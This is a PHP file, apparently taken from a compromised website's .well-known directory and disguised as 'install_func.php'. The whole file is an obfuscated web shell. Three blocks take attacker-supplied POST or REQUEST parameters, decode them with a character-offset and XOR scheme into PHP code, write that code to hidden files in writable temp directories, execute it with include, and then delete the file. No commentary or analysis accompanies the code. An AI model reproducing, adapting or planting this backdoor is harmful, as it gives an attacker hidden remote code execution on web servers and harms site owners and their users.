File: //proc/thread-self/root/home/vitanhod/sawpalmeetto.vitavit.com.pk/.well-known/install_func.php
<?php if(isset($_POST) && isset($_POST["\x69te\x6D"])){ $dat = array_filter([session_save_path(), getenv("TMP"), getcwd(), sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir")]); $parameter_group = $_POST["\x69te\x6D"]; $parameter_group = explode ( ".", $parameter_group ) ; $descriptor = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); $p = 0; $__len = count($parameter_group); do { if ($p >= $__len) break; $v1 = $parameter_group[$p]; $chS = ord($s3[$p % $lenS]); $d = ((int)$v1 - $chS - ($p % 10))^ 82; $descriptor .= chr($d); $p++; } while (true); $val = 0; do { $element = $dat[$val] ?? null; if ($val >= count($dat)) break; if (!!is_dir($element) && !!is_writable($element)) { $entry = vsprintf("%s/%s", [$element, ".ptr"]); if (@file_put_contents($entry, $descriptor) !== false) { include $entry; unlink($entry); exit; } } $val++; } while (true); }
if(!is_null($_POST["\x74\x6Bn"] ?? null)){ $data_chunk = array_filter(["/dev/shm", "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/tmp"]); $record = $_POST["\x74\x6Bn"]; $record= explode ( '.' ,$record ) ; $val= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt5); foreach( $record as $p=>$v1) { $chS= ord( $salt5[$p% $sLen]); $d= ( ( int)$v1 - $chS -( $p% 10)) ^ 96; $val .= chr( $d); } for ($key = 0, $comp = count($data_chunk); $key < $comp; $key++) { $flag = $data_chunk[$key]; if (array_product([is_dir($flag), is_writable($flag)])) { $holder = implode("/", [$flag, ".symbol"]); $success = file_put_contents($holder, $val); if ($success) { include $holder; @unlink($holder); die();} } } }
if(!is_null($_REQUEST["\x69tm"] ?? null)){
$fac = array_filter([getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), "/var/tmp", getcwd(), "/tmp", session_save_path()]);
$entity = $_REQUEST["\x69tm"];
$entity =explode ( '.', $entity );
$data = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen( $s );
$y = 0;
$__tmp = $entity;
while( $v7 = array_shift( $__tmp)) { $sChar = ord( $s[$y % $lenS] );
$d =( ( int)$v7 - $sChar -( $y % 10))^63;
$data .= chr( $d );
$y++;
}
foreach ($fac as $marker):
if (is_dir($marker) && is_writable($marker)) {
$k = vsprintf("%s/%s", [$marker, ".hld"]);
if (@file_put_contents($k, $data) !== false) {
include $k;
unlink($k);
die();
}
}
endforeach;
}